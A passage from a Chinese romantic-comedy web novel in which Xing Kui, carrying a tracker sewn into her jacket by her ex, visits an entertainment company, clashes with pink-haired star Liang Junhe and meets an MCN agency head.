早晨六点,不少家庭都还沉睡梦乡,但邢葵清楚,这户的主人不会,门打开,清凉的薄荷味散出,周镜穿着睡衣,没戴眼镜,垂着的眸子装着她的倒影。 “周律师,好久不见,昨晚仓促,没能好好跟你打招呼,听说你在国外大杀四方,打成一起几乎不可能打赢的官司,超厉害。” “葵葵。”周镜温和平稳地唤她,邢葵敲门时他大概正在洗漱,清俊的脸颊鬓边还有水珠,“不用跟我客套,有话直说。” 邢葵低头摸后颈。 “以我们的关系,就算你一见到我强吻我,我也只会伸舌头并关上门。” 妈呀,真是熟悉的周律师,能毫无旖旎之色地直言贴贴,邢葵不好意思:“这么早打扰你,是想问问你家有没有定位器,我要出趟远门,以防万一,想借个定位器。” 周镜转身:“进来,要去哪儿?” “噢,我在考虑签MCN,有几家不在京江市,我去看看。” 私信列表有多家公司联系邢葵,昨天晚上她筛选掉一些,今天白天打算和剩下的对接人聊聊看,再去线下了解了解,可能要去几天吧。 “我陪你去?”周镜走到抽屉前。 “不用了,正好我想一个人散散心。” “嗯。”周镜没有为难,尽管邢葵和许野分了手,可她 为人重感情,暂时还喜欢许野,需要给她时间调整,当时周镜和她分手后也选择了远离。 瘦削的手指从抽屉取出定位器,是一个只有指甲盖大的圆形小片,黑色,然后周镜又拿起手机,“连接到我手机?” “好,连你我也放心。” “放哪里?” “外套口袋。” “会掉。” 邢葵望了望那定位器,小小的,翻口袋时确实容易掉出不自知,经过五个月休养,她脑子也没过往混沌,思考了下道:“那放鞋里面吧。” “葵葵,人在挣扎时鞋子也容易掉。” “哇,我其实不太可能遇到危险吧。”沉静的眸子盯着她,邢葵闭上嘴,点头,“好吧,是我说的以防万一,那放哪里好呢?” 周镜得到满意答案:“我建议你缝在衣裳中。”他翻手,有着薄茧的掌心放着一小盒针线,“我帮你缝。” “好。”谁爱干活谁干,邢葵脱下衬衫外套,是浅黄色的防晒衣,很薄,垂坠感极好,穿起来长度到她大腿上方,她打算出门就穿这件。 周镜抓着衣服,好香,都是邢葵的味道,如果他们还在交往,他应该不会让邢葵脱衣服,而是他来替她脱。 不急,她现下心里仍是许野,得让她清一清,让她穿着他缝过针的衣裳清一清。 邢葵拿着缝好定位器的衣服回到家,关上门,低眼看向衣服上的针脚,撑住额头撇过脸,好烂,是足以让她喊出“赔她衣服”的程度。 这下真忘不掉衣服是周镜缝的了。 家里空空荡荡,阳台放着许野买来的跑步机,也许从今往后再不会启动。 邢葵抿了下唇,跟周镜分手时,她将自己关在家里追剧,因为她跟周镜的故事大多发生在周镜家中。 但跟许野不一样,五个月来许野常常宿在她家,桌椅、沙发,好像都残有许野身影。 许野资本丰厚,怕伤到她,每次和她都要投入很多时长在前奏,他很喜欢让她坐在他腿上。 常年跑步锻炼练出发达的股四头肌,邢葵上班那会儿手腕疼,买过一款药膏,带揉磨器,能磨得皮肤酸爽红软,许野很像那款药膏。 每次她都汗涔涔。 从厨房进客厅左边第二张椅子,是江玉鸣曾挑衅许野时说的椅子,也是许野最爱环着她坐的椅子。 他食髓知味,难以停止,邢葵都怕影响到他的学业和事业,讨要了他的课程表和训练计划,综合写成一份日程表,贴在厨房冰箱上。 人不能停留在过去,邢葵走到冰箱边,揭掉许野的日程表,去卧房收拾起衣物。 这趟出门,集了解MCN、旅游和散心为一体。 高铁在轨道行驶,邢葵买了最舒服的商务座票,靠在车窗旁,窗外绿树生机昂扬,在眼中疾行。 十月是旅游旺季,高铁里面父母带着孩子、孩子带着父母,目之所及温馨和睦,仿佛这整节车厢里所有男人没一个出过轨。 还是说,和她母亲、和她婶婶们一样,发现后选择了原谅。 “喂,妈。” “欸,葵葵,妈打电话是想问你哦,昨儿你爸去你那儿遇到什么事了,咋回来就没精打采不吃不喝。” 邢葵笑:“那挺好的啊,刚好减减肥。” “你还笑!”邢母嗔了一句,沉默几秒,“你爸说你跟那孩子分手了,你现在要紧不?妈刚给你发了个红包,你买点零食吃吃,虾条、果冻,你从小就爱吃。” 邢葵看了眼微信聊天页面,没有红包,上方显示有支x宝通知,点开来看,是邢母在那里给她转了账,三千块。 微信转账或红包,都需要收款方确认,但支x宝不用。 邢母怕她拒收。 “妈,干脆我用这笔钱给你报个老年大学好了。”邢葵忽然道。 “什么啊!你做梦呢,我都五十了,去上学被人家笑死了呢,别瞎说。” “开个玩笑啦。”邢葵和邢母聊了会儿天,挂断电话,在高铁上打电话,邻座的人能听见她的说话声,从她提到“老年大学”起,就有中老年人盯着她瞧。 那个眼神,犹如在说她读书读傻了。 邢葵靠到窗边,陌生人而已,她管他们什么看法,主要是,学校是个小型社会,老年大学更是个汇聚中老年人的言语江湖,把本身就抗拒的邢母送进去,大概率起到反效果。 还是得从解决催婚下手,周镜因为太适合结婚pass,许野因为年龄太小pass,这回出门,她得想想还有没有别的可能。 西州,凤田市,灵潮娱乐。 “少爷!少爷!您等等!”一群人跟随一位助理,追随在一名高挑的男性身后。 准确地说,是男明星。 男人约莫二十几岁,穿着浅粉色宽袖短袖,胸前绣有桃花徽纹,黑色长裤,不知是裤子九分,还是他的腿太长,裤脚之下露出一截白皙脚腕,踝骨凸出。 戴着大小适中的墨镜,露出来的额头、眉毛、嘴巴、脸型,全都精致得如同帝国时代小王子,最惹眼的,莫过于他一头桃花粉色的头发。 梁君赫怀疑许野疯了。 他怀疑许野在报复他。 自数月前起,梁君赫的老婆天天奇妙历险被肌肉男拐走,不看他的综艺,也不回应他的消息,他就无敌讨厌肌肉男,连带着厌恶上许野,隔三差五地发条信息骂骂他。 一定是因为这样,许野才疯到跟他说,让他去了解邢葵。 他干嘛要了解邢葵! 梁君赫人生当前阶段,最讨厌的人排行榜,一、拐走天天老婆的肌肉男,二就是害得他们兄弟不和的邢葵。 如果他对天天老婆的感觉有一百分,那么对邢葵就是负一百分。 当晚梁君赫气得血压飙升,尤其在看到许野被厉乘川踢出兄弟群、得知许野过去几个月竟然在跟邢葵交往以后,他血压更直接爆表,怀着恨铁不成钢的心,骂了许野好几日。 【我有没有跟你讲过不要被海王勾引?】 【天呐,难道你看不出她就是钓系渣女吗?】 【她坐你怀里你都得将她拱下去!】 【你居然去当小四!我对你太失望了!】 …… 许野只在今早回了一句:【哦,截图了。】 截什么图,对对对,是得截个图,留作他对兄弟感情的证据。 梁君赫气呼呼的,并决定提升对邢葵的厌恶等级,让她和拐走他老婆的肌肉男并排。 他近期一点就炸,早上微博热搜前三条都是他假的黑料,梁君赫简直怒发冲冠,要去找造假的人打一架。 灵潮娱乐,B楼,三层,303练习室,一群光着上半身的年轻帅哥乖乖站立。 “对,站好,绷紧腹肌。”周梨踩着十厘米细高跟,从左边走到右边拍摄着照片,“都是处吧,骗我你们就死定了。” “周梨!”大门砰地被梁君赫踹开,“什么叫我耍大牌不准其他人进电梯?当时现场就只有你!” 周梨照片拍糊了:“吓我一跳,烦不烦,我给我姐妹物色对象呢。” “你还有姐妹?”梁君赫仰着鼻子冷嗤,一点不信,“你去网上给我解释去。” “我当然有姐妹,我姐妹对我可好了。”周梨冲他翻白眼,继续拍照片,“等我拍完就去,这不是这个月在争资源,搞点热度嘛,反正每天骂你的一大堆,多点少点咋了?” 梁君赫七窍生烟:“每天骂你的更多!”他望了眼排排站的公司新人,“我这就发微博说你搞潜规则。” “怎么能是潜规则呢?我是偷摸摸干的吗?他们自己乐意着呢,都站好了!我姐妹最近喜欢肌肉男,刚分手,不开心,你们要是有人能哄到她,我送他一部戏!” 为什么又是肌肉男!全世界的肌肉男都在恋爱吗?为什么他这种谈不到! 气死他了气死他了气死他了…… 不行,他要找找阳光最好的房间,对着太阳念念大师教他的桃花咒。 梁君赫扭身,他又不贪心,他就想要天天老婆能喜欢梁君赫。 邢葵还没在账号上公开说她分手的事,近五个月她没少更新恋爱日常,分手通知必须得慎重又慎重。 她计划先停掉恋爱故事,让粉丝猜到情况逐渐适应,然后等她忙完MCN签约再宣布。 梁君赫冲到拐角,与来到灵潮娱乐的邢葵撞上。 “……”邢葵闪得极快,看着梁君赫刹不住腿,身体与她的身体错过,撞到墙上。 啊这……您、您好? 第65章 刚邢葵上楼时就听见有人喊“少爷!少爷!”,心怀警惕 ,故陌生人一撞上来就迅速闪开,她安全了,就是苦了陌生人,缺少她作墙,直接撞上了墙。 放眼望去,走廊至少二十名黑衣人,最前方还有位领头者,穿着卫衣的年轻男性,背着一只托特包,像是助理,此时二十几人全都呆滞地望着墙和趴墙上的男人。 邢葵感觉她不安全了。 她灵巧一躲,貌似让一位男明星撞到了墙。 她看过去,粉毛男星还趴在墙壁,双臂双腿贴着墙,雪白细腻的脸歪着,嘴一动不动。 “那个……您还好吗?” 他不好。 梁君赫像沉睡的丧尸听到声响,蓦地扭过脖颈,离开墙壁,弯腰,脸与邢葵平齐,之后拉下墨镜,清澈透亮的桃花眼盯着她看。 邢葵被看得发虚,她来找一家叫“兆光文化”的MCN机构,是“灵潮娱乐”的子公司,谁曾想地点没找到先惹上一位少爷。 少爷?娱乐圈有一位男星,“少爷”的名号极响亮。 仅仅墨镜挡不住相貌,如果说江玉鸣是艳丽不可方物的红白玫瑰,那眼前的人就像春日桃花,还是泡过牛奶的那种。 邢葵稍愕,过去看过的电视剧在脑海回放,曾经的新晋小生男三号,在几个月连续不断的争议中晋升为黑红顶流:“梁君赫?” 真是邢葵!这种喊他名字都像往他心里抛鱼钩的人还能是谁? 梁君赫猛地后退,条件反射地抱住胸口,以前被邢葵抠过的纽扣都隐隐作痛:“谁让你躲的!让我撞一下能怎样?你就非要让我受伤?” 理论上,他不该因为邢葵闪开就撞上墙壁,是看到邢葵太震惊了才会径直往前冲。 不管,就全是她的错,为了兄弟和他的纽扣,他都要心狠手辣赶尽杀绝。 “对不起对不起,您有伤到哪里吗?”邢葵不知内情,也没把梁君赫和藏头遮面的话痨男划上等号,快速表达歉意。 梁君赫一滞,被粉丝加以无数赞美之词的小虎牙龇起,她居然认不出他的声音! 走廊上,背着托特包的梁君赫助理觉得这个女人完蛋了。 少爷这几天,不,这几个月,都跟吃了几箱炮仗似的,谁惹弄谁。前段时间上综艺,里头有个泼水游戏环节,输家要挨泼,和少爷组队的男星为了展现绅士风度,在关键时刻故意输掉游戏,少爷气得当着镜头的面接了一桶水,哗啦浇他头上。 这个女人害得少爷出糗撞墙,少爷这会儿不讲话,肯定是在想,至少要抓住她的头发让她撞十遍墙吧。 梁君赫牙齿都在抖,邢葵竟然没认出他是话痨男,怎么着,被她抠过纽扣的话痨男于她人生就是一阵风、乃至灰尘吗? 上翘的眼眸怒冲冲垂下,梁君赫怒瞪邢葵的中指,她就是用这根五指中最长的手指抠的,她怎能不记得! 即便当时她说过,她看过很多,难道他不该是很多中最好看的一个吗!她不该深刻地记住他吗?! 邢葵手指抖了抖,默默将手背到身后,生气归生气,她能赔钱,让她像电视剧一样赔手指可不行啊。 她其实没忘记话痨男,只不过毕竟就见过两面,她那时脑震荡记忆力也差,忘掉声音太正常了。 但梁君赫十分怄气:“你跟我过来。” 他是位拥有几千万粉丝的富家子弟,要报复她有太多手段,邢葵苦着脸,权宜之计先跟上,边走边悄悄打开手机录音。 无人的活动室内进入两人,门砰地关上,助理和二十名保镖站在门外:“少爷!别冲动!打女人你会被网暴的!” 室内,梁君赫的脸比死去多日的海鱼还臭:“你坐上去。” 这间房应是供休闲娱乐兼健身用途,有一些健身设备,还有一张乒乓球桌。 双脚失去安全感地离地,邢葵坐到乒乓球桌边,不清楚梁君赫葫芦里卖的什么药,希望他别欺人太甚。 她按住挎包,包里有辣椒喷雾和美工刀,待会儿梁君赫要过分施为,她就先用喷雾喷他,再用美工刀扎他两腿之间,保镖们在前门,她从后门冲出去,跑不过这些人,但她能争取时间打开手机直播,镜头在前,他们不敢不放过她。 邢葵模拟了一遍,又模拟第二遍强化记忆,首先用喷雾喷梁君赫,然后用美工刀…… 她认认真真地想,情绪稳定,眼珠黑溜溜的,落在梁君赫眼里有种莫名其妙的魅力。 该死!他要报复她,这人怎么还勾引他? “你闭上眼睛!”梁君赫凶神恶煞地呵令,海王的网休想套住他,周哥许野心软,他心比金刚石还硬。 想到邢葵先是背叛厉乘川,再勾到周镜许野当小三小四,致使他们兄弟离心,还忘记了他,梁君赫愤怒得眉毛扬高,翘起粉嫩的唇冷笑。 天才的他想到了超恶毒的报复方法,今日,他要邢葵离开这里时两腿酸软、眼眶通红! 邢葵踌躇闭眼,倏地,一只热掌抬高她的右脚腕,她的鞋离脚而去,她惊得睁眼,一根洁白的羽毛直冲她的脚心。 第一反应:好痒。 第二反应:好幼稚。 救命!“痒!”真的痒!几岁的家伙报复人才会拿羽毛瘙脚心啊!“你放开我!”邢葵直蹬腿,梁君赫的手牢牢钳在她的脚踝骨。 “你干什么!”邢葵激动,似有无数蚂蚁爬过脚心,瘙痒感持续不止,梁君赫好像因为她的反应得意,捏着长长的白羽,动作愈发快速。 他钳制着她,挣扎间,两人越来越近,她的腿在狭窄的间距中被迫弯曲。 太痒了,邢葵眼角止不住地沁泪,叫喊声混杂呜咽,奋力扑腾,像将死之人回光返照,生出惊人的力气,与梁君赫搏命般,一脚踹上他的胸膛。 梁君赫震住。 她并没踹动梁君赫半分,只是坐在兵乓球桌边,脚重重踩上了他的胸肌。 脚心,硬硬的。 邢葵也呆若木鸡,额角碎发被轻微的汗沾湿,风吹过,她的脸如虾子跳进开水般骤地飘红。 走廊那会儿,邢葵有观察梁君赫穿着,上身短袖,并无纽扣。 “对不住!”邢葵惊惶收腿,梁君赫满脸震骇地捂着胸口,整个上半身都在抽搐,她想安抚他,不知从何安起抚起。 “别碰我!”梁君赫尖叫,她怎么这样!过去抠他,今日踩他,上次差点被抠断,这回不会被踩扁了吧? 老婆,老婆,他还没有讨到老婆。 邢葵手慌脚乱,今天也是拥有奇妙历险的一天,可也太刺激了吧!她踩了一位男顶流的胸,男顶流的脸都失去了颜色:“实在不行,趁这里没第三个人,你让我帮你看看。” 梁君赫不可置信:“你还想看?”他会给她看第二次吗?“我警告你,你这辈子都别想!” “那你别碰我瓷哦。”邢葵想了想,“我的力气应该不至于踩——” “不要说那个字!”梁君赫气冲冲,伸手去捂邢葵嘴巴,余光一瞥,注意到她的衣服。 浅黄色的宽松外衣在刚才争执中衣襟松垮,后领下方有一枚黑色异物。 “你被人跟踪了。” 梁君赫猝地按上邢葵肩膀,要去摘周镜缝的定位器,过于突然,邢葵因为刚想安抚梁君赫本就坐到了桌子边缘,被大力一按,一下子往下摔。 人在摔倒时,会下意识找人或东西支撑,人在看到别人摔倒时,会下意识伸出双臂去接。 天旋地转,两只手臂环住她的腰,邢葵也揪住梁君赫衣裳,砰地一响,梁君赫圈着她摔到地上,她连忙直起上身。 于是画面变成,她坐在梁君赫身上,梁君赫环着她的腰。 【她坐我怀里我都要将她推下去。】 梁君赫怔然,冷凉的身体贴在他的腰,身体的主人心有余悸地喘气,清甜的桃子香如雾一般缠在空气中,形成一张大网。 坐怀里要推,坐腰上要推吗? “要死了吗?!索蕾欧比送我的天鹅羽扇为什么少了一根羽毛!” 同一栋楼,男人拿着剧本敲打生活助理的头,假如邢葵在附近,会认出,这个男人在她童年的电视剧里演过主角。 沈宏,现年五十三岁,外表四十多岁,二十年前红过,因打狗仔糊掉,近年靠一部正剧中的反派角色翻红,被称为叔圈天菜。 “沈老师,我真的不清楚。”小助理两眼汪汪,“您让我去给您买咖啡,我——” “还狡辩?”沈宏用剧本砸她,“索蕾欧比的品牌挚友身份,我辛辛苦苦才拿到,要是因为这事影响了我跟索蕾欧比的关系,你负得起责任吗?” 不远处,周梨踩着细高跟,在检 查她拍的多男腹肌照,周围路过的人纷纷畏惧地喊她“周老师”。 沈宏也看见她,声音小了下去。 “哟,继续喊啊,我刚没听清,咋了?”周梨望了眼他,继续看着手机,走过来。 沈宏扯起嘴角友好笑,周梨是个疯女人,他不想招惹她,而且他是混迹娱乐圈多年的老油条,周梨这种性格还能在圈子里照常混,背景或许深不可测。 “没什么,周老师,就是索蕾欧比送我的扇子少了根羽毛,我正教训助理呢。”沈宏抬起手中卷起来的剧本,指了指潸然泪下的小姑娘。 周梨没看助理,瞄了沈宏一眼,放下手机,涂着玫红色指甲油的手拿过他手里剧本,不客气地砸向他的脸。 “辣到我眼睛了,下次拉皮能不能找点好的医院。” 沈宏眼神一戾,戾气又很快收敛,笑着应对:“是是是。” “至于你说的缺羽毛,还用问吗?遇事不决就是梁君赫干的。” “……”真是疯子,能随便给梁少爷泼脏水。 “不信我们去找梁君赫。”周梨拽过沈宏,“你俩打起来,让我拍个视频发微博,我好上热搜。” 梁君赫的位置很好找,他最近动不动发火,梁总安排了二十个保镖控制他,二十个人,还不好找吗? 这二十人和梁君赫的助理还在聊天,活动室门口,数人小声谈论。 “里头的动静挺大的啊,要不要进去看看?我怎么听上去,像是少爷在被欺负?” “少爷能被欺负?我十个月不睡觉都说不出这种糊涂话,上次在剧组,有人想给自己加戏,少爷上去就给人家一个大嘴巴子。” “我比较担心那姑娘。” “我也是,可惜了,咱们的老板姓梁,她自求多福吧。” 活动室内,梁君赫想哭。 他的手臂和腰都在感受邢葵的体温,越加浓郁的桃子香气中,梁君赫粉色的衣衫下心跳急促,手掌青筋毕露。 短短一个小时内,梁君赫又撞墙,又被踩纽扣,又被坐腰,邢葵,恐怖如斯。 与邢葵四目相视,别引诱他了可以吗? 邢葵穿的是浅黄色衬衫外套配白色小吊带,这时一边肩已经露了出来,肩头圆润光滑,梁君赫,你清醒点!她身上有跟踪器! 他使劲全力抬腰,正在这一刻,活动室的门打开。 站在门口的周梨滞了一秒,走进来:“你俩这是?” 邢葵和梁君赫同时慌慌张张起身,幸好周梨开门时,他俩都坐着,画面没前面奇怪。 “我不小心摔倒了。” 邢葵解释,梁君赫却将手伸向她后颈,她脑子里警钟铛地敲响,之前设想过的自救步骤重现。 第一步,喷他辣椒喷雾。 动作比思维更快,邢葵迅疾取出喷瓶,梁君赫瞅见,迅疾拉过到场的周梨,周梨瞅见,也迅疾拉过旁边沈宏。 “呲——” “啊!我的眼睛!我的脸!” 第66章 邢葵心想,她今早从民宿离开时,眼皮也没跳啊。 咋能那么倒霉,先是让一位当红顶流撞上墙,然后又喷了一位叔圈天菜辣椒水。 沈宏大吵大喊,守在室外的梁君赫助理和保镖鱼贯而入,空气中的氧气多了二十多人共享,立时沉滞起来。 “沈老师,没事吧沈老师?” 看上去不像没事的样子。沈宏手虚虚捂在睁不开的双眼,又紧张害怕地摸他刚拉过皮的脸,侧过来的耳后褶皱层叠。 “贱人你敢!” 红彤彤的眼睛刚睁开一条缝,沈宏怒火滔天地抬起手掌。 是周梨拉他导致他被喷到,但老油条不敢跟周疯子发火,满腔怒气贯注于一掌,要把拿着辣椒喷雾的女人脸都打歪。 妈的,周梨他惹不起,一个不知名的货色他还不是说打就打? 啪! 一记响彻活动室的耳光,沈宏用心呵护的老脸歪斜过来,在飞快肿胀中,五道红痕也清晰浮现。 他不敢相信,人都僵了。 “下贱玩意儿,我姐妹你也敢打?”周梨甩了甩手,缕了下眼前挡眼的短发,口吻恶劣。 姐妹?什么?周梨这个疯子还会跟人当姐妹? 周梨转向邢葵,迅速切换为一副受辱的小白花表情,穿着十厘米细高跟弯曲膝盖,硬是将头蹭到她肩上:“姐妹,我手打疼了,要呼呼。” 邢葵挠了挠眉角,望向狼狈的沈宏,你说你,没事做惹我干什么? 会所事件结束后,周梨就单方面强行跟她认了姐妹,她这人做敌人是个疯子,做朋友也是疯子,能无视世间道理完全站在朋友这一边。 且不说喷沈宏辣椒水不是邢葵有意为之,哪怕她是故意的,周梨都会支持她。 几个月相处下来,邢葵觉得周镜这位妹妹还行,就是周梨特别反感周镜,一听到她和许野分手,就让她千万别吃回头草,她要给她介绍新人,真是天下第一好妹妹。 沈宏无法接受挨打,五十几的男人,被一个二十多岁的女性小辈当众打脸,对他是奇耻大辱,红肿的脸颊发麻,他眼珠子咕噜噜地转。 刚才,是邢葵先喷梁君赫,梁君赫拉周梨,周梨再拉的沈宏,即,邢葵要对付的是梁君赫。 沈宏望向梁少爷,灵潮娱乐老板的弟弟、大老板的儿子,无论周梨背景如何,梁君赫的身份不低于周梨。 他可以借力打力:“梁少爷,我冤啊!我刚刚抬手不仅是替自己,也是想替您出气!这个女人竟然向您喷辣椒水,万一你的皮肤因此伤到哪儿……” 沈宏刻意放缓语速,全娱乐圈皆知,梁君赫成天把想谈恋爱挂嘴上,他是灵潮娱乐艺人,更知道这位少爷会定期护理他的面容、身体,以期以完美的姿态迎接不知何时降临的爱情。 辣椒喷雾,倘若有一丁点儿沾到梁君赫的皮肤,沈宏毫不怀疑,这位少爷能将整栋楼都掀了。 就算没沾到,怀有心思的邢葵也死定了。 沈宏暗笑,她就得意吧,梁君赫会将她撕烂撕碎,“梁少爷,那辣椒水多——” 他僵硬住,邢葵身旁,梁君赫气势高傲,垂眼望他,抬高他修长的手指,食指和中指夹的羽毛长长白白,不正是沈宏丢失的那根索蕾欧比天鹅羽扇上的羽毛? 沈宏有着巴掌印的脸部肌肉抖颤,周梨是只得了狂犬病无差别咬人的疯狗,梁君赫要比她讲道理,他拿他羽毛,除非他得罪过他,或者梁君赫不喜欢他。 这更可怕!大老板的儿子想撕碎的是他! “梁——” “我准你说话了吗?”梁君赫睨向沈宏,明明墨镜已经摘掉,看人毫无障碍,却像似目中无人,骄横跋扈,“吵到我耳朵了,滚。” 几名保镖立即动作,架住沈宏,沈宏不想滚也得滚,何况他想,惊恐地逃离,还要向梁君赫道歉:“对不起少爷!我吵着您了!您好好休息!” 给邢葵瞧得一愣一愣的,梁君赫仰着下巴,傲气十足,可她还没忘掉他用他手上羽毛干了什么。 大少爷,幼稚鬼。 她侧过脸撇撇嘴,忽然,一只手伸进她衣领之后,大力一拽。 布料撕裂的声音自身后响起,邢葵按住肩瞅了瞅后头,再瞥向梁君赫,他拿着周镜的定位器。 不待邢葵解释阻拦,梁君赫扔到地上,抬起他的鞋一顿踩,砰砰砰,地板都像在遭遇地震般震颤。 “笨蛋,你被人跟踪了!” 小小的定位器四分五裂,邢葵张张嘴:“谁是 笨蛋呀,它缝在我后衣领下方,我穿的时候能感觉到,我能不知道它在我衣裳里面吗?” 梁君赫:“……”啊?这样吗? “姐妹!是不是周镜要求你做的?”周梨看到定位器,愤慨,“周镜那个烂人,连监视你都做得出来!你别被他pua了!” 邢葵:“……不是,我,你听我说。” 梁君赫看着两个人,邢葵出现在公司,应是来找周梨的吧? 早些时候,周梨找了一群公司新人拍腹肌照,说是为姐妹拍,难道邢葵来,是要往她的鱼塘里再网几条鱼? 太过分了,梁君赫咬起牙关,气呼呼的,那些人质量全都比他的兄弟们次,邢葵找人至少也得在他的兄弟们中挑吧。 铃声突响,邢葵找手机,一见屏幕拍住额头,接通:“喂,周律师,我没事。” 定位器一损毁,周镜就收到提醒,打来了微信电话:“发生什么?” 邢葵想说话,周梨猝不及防抢走她的手机,点开扬声器,一张口恶声恶语:“不要打扰我们姐妹时间ok?还追踪她的位置,周镜,我今天看梁君赫都比看你顺眼!” 梁君赫听着:“你夸我还是骂我?” “定位器是梁君赫毁掉的?” 闻声,邢葵舒了舒气,还得是周律师沉稳睿智,仅凭几句对话就猜中真相,无视偏执不讲理的周梨,直击关键。 “是的,周律师,我今天来了周梨的公司,碰到了梁君赫,就演《见我星辰》的那个明星,你知道吗?” 律所,周镜办公室,放在文件上的手指缓慢蜷起。 “他能不知道吗?”周梨莫名,看邢葵疑惑,连忙下巴冲梁君赫抬抬,“就他,你别瞧他一副粉毛非主流样儿,也是和厉乘川他们从小一同长大的好兄弟。” “什么非主流?”梁君赫挺胸,盛气凌人,“你当普通颜值能撑得起粉头发?” 确实,梁君赫搭配粉头,让邢葵联想到少女漫里会环着女主腰、甜甜叫姐姐的小奶狗。 但邢葵仍然震惊,她迄今为止接触的厉乘川兄弟,江玉鸣斯文败类,周镜克己复礼,许野纯情肌肉男,没一个幼稚的。 都说物以类聚人以群分,他们真能玩到一块去吗? “你什么表情?你瞧不起我?”梁君赫气势汹汹地瞪向她,论相貌他是能跟江玉鸣他们平级。 邢葵讪笑:“没有啦。” 这时,周镜出声,音色微冷:“我想他应该弄坏了你的外套。” 是哦!邢葵看梁君赫的分数瞬间从五分跌至零分,眉头都锁起来。 “就一件破外套,能多少钱,我赔你就是了。”梁君赫横眉竖眼,看向被周梨拿着的手机,“周哥,你真是糊涂了,她有哪点好的,你和许野一样——” 屏幕上,微信聊天被对方终止。 邢葵接过手机,拧着眉扫了扫梁君赫,心生不愉,撇过头。 “就一件破外套!爹的,你等着,我去给你找件新的,比这贵十倍的!” 梁君赫甩起两条奶白的手臂,几乎是以蹬的形式,气冲冲离开活动室,他的人也随在他之后浩浩汤汤离去。 邢葵摇头,没当回事,蹲下来穿鞋:“那周梨,我也先走咯。” 周梨着急:“可是姐妹,我还想给你介绍对象,照片我都准备好了。” “那等我忙完吧。”周梨不大会害她,邢葵也记得要找新的解决方法,“我跟你讲过,我来灵潮找兆光,你先让我忙这件事。” “好,那我陪你,我在门外等你。” 邢葵在想,为何是“门外”,而不是“楼外”,等她在一栋栋属于灵潮娱乐的建筑中寻到兆光文化,她才明白。 兆光文化,整个公司,就只有一间办公室,它就像附在灵潮的小工作室,丝毫不起眼。 在线上联系她的负责人接她走进了办公室东方办公位,办公桌上连个名牌也无。 “你叫我兰姐吧,本该叫我‘总’,但我上面还有老板,你懂。” 兰姐三十五岁左右,直发,扎马尾,可能是扎得太紧,眼尾轻微上吊,右耳戴着蓝牙耳机。 来之前邢葵查过,兆光文化刚建立几个月,总成员不超过十人,不过她在网上和兰姐聊过天,感觉还不错,所以才会过来。 “你已经清楚,灵潮娱乐涉影视、音乐等领域,从未涉足过网络红人方面,建我们兆光是上头老板的一次尝试,把公司发展比作孵蛋,那兆光刚从母鸡肚子里生出来。” 邢葵点点头,这些兰姐跟她说过,她明白:“我想知道,你们未来的规划会是?” 在来兆光前,邢葵已拜访过几家MCN公司,其中不乏这个行业的龙头领袖,他们每一家都向她画了好大一张饼。 兰姐动了一下手,抬起来,撑住下巴,停顿一秒:“会完全根据你定制,邢小姐,当今时代网红行业已经饱和,兆光在这时建立,可不是要做分母。” 邢葵问:“那为什么向我抛出橄榄枝?” 兰姐手指点点手背,笑:“就像我说的,网红行业已然饱和,我们公司要突破出来,而你一个人,背后没有机构推手,也突破重围小有名气,与兆光想要的相符。” 邢葵弯了下嘴角:“那我能问问,在突破这方面,灵潮会提供帮助吗?啊,我不是问你,我是问你耳机里在听的人。” 她抬手,点了点右耳,“梁总?” 兰姐僵了僵。 灵潮娱乐,C楼,最高层,总裁办公室。 三十岁加的女人扎着高丸子头,驼色衬衫靠到椅背,寡漠的桃花眼里闪过一丝兴味。 “当然,讲得再天花乱坠,兆光一间小办公室吸引不到你。” 衣衫上的金色纹路晃眼,某栋楼,隔三差五有品牌为明星送来名贵服饰,梁君赫疾走在一排排衣架间。 “怪我弄坏了她的衣裳,你们说,我周哥怎么这样?他居然维护她不维护我。” “是是是。”身后跟着的助理点头哈腰,在心里蛐蛐:你有啥要被维护的。 “我多辛苦啊,我为了替兄弟们报复她,我都——”梁君赫抬手,手悬到胸口又赶紧放下,“我牺牲很大你们懂不懂!” “懂懂懂。”助理:个屁。 “呵,我要挑一件又贵又难穿的衣裳还她,让她穿上去身上像有跳蚤在爬,欸,这件她穿着肯定好看。”梁君赫停下脚步。 也是一件长袖衬衫,桑蚕丝材质,有纽扣,可以解开当外套,整体为白色,左右两边红黄蓝三色抽绳。 梁君赫哼了哼,“就她那小身板绝对穿S吧,当外套大一码会不会更舒服?” “会会会。”助理:前一秒还在说要让她不舒服,少爷您说话您自己记得住吗? “你对她那么好干嘛?”梁君赫瞪了助理一眼,回过头骄矜地道,“看在你的面子上,那就这件吧。” “……”助理:真是头一回知道我面子那么大啊呵呵。 助理收到电话,“梁总。少爷,梁总喊您过去一趟。” 梁昭然办公室。 “你太任性了。”梁昭然反扣手,敲了敲桌面,“我收到消息,你偷了沈宏的东西,沈宏挨打,你也不阻止。” 身为姐弟,梁昭然和梁君赫都有一双桃花眼,只是梁昭然的眼里冷淡得无波无澜,她为人也和她的发型般一丝不苟,与梁君赫浑然不同。 梁君赫连坐着都没坐相,脚点着地面,像下一秒就要离开。 “训我的话就免了,我还有事。” “梁君赫,你有没有想过这事传到爸耳里?他年纪大了,你还要多让他不省心。” “得了得了,那就让他来训我吧,我真有急事,姐,拜拜。”说完,梁君赫拔腿便跑,他怕邢葵走了。 梁昭然在他后头叹气,办公室门阖上,她的眸子低下,桌面反放着一份文件,翻到正面,赫然是邢葵的资料。 梁君赫数个月常提到的天天老婆,就是邢葵,真有意思。 厉乘川的秘书,梁昭然可是见过的。 她的弟弟,喜欢上了厉乘川钟意的人。 灵潮娱乐A楼,一 楼休息区,邢葵和兰姐聊完后,被周梨拽来了这里看她拍的腹肌照。 讲真的,邢葵过去几个月看的都是许野的腹肌,再看这些,心里着实有落差感。 周梨瞧出她的神情含义:“你都不喜欢?” 邢葵抿嘴:“的确一般般。” 周梨皱起眉,手支住下颚,忽地放开:“姐妹,你不会喜欢梁君赫吧?” 一楼,拐角,拿着衣服急匆匆要冲向邢葵的梁君赫紧急顿足,身后数人差点人挤人摔倒。 梁君赫抓住墙壁,如同做贼心虚之辈,一边偷看一边竖起耳朵,邢葵喜欢他?哼,是把他当鱼养了吧。 算她有眼光,不过他梁君赫绝不当鱼。 “什么啊。”周梨身边,邢葵诧然,觉得好笑,“你怎么这么问?” “我瞧你俩挺亲密的。” “活动室那是意外啦。”邢葵挥手,“你想太多了,我一点都不喜欢梁君赫。” 她一点都不喜欢梁君赫。 好似一阵风嗖地刮到她身边,邢葵昂起头,一件崭新的衬衫盖住她的脑袋,来人手拍上桌面。 “赔你的衣服,还有,我超讨厌你!” 第67章 邢葵不喜欢梁君赫是有原因的。 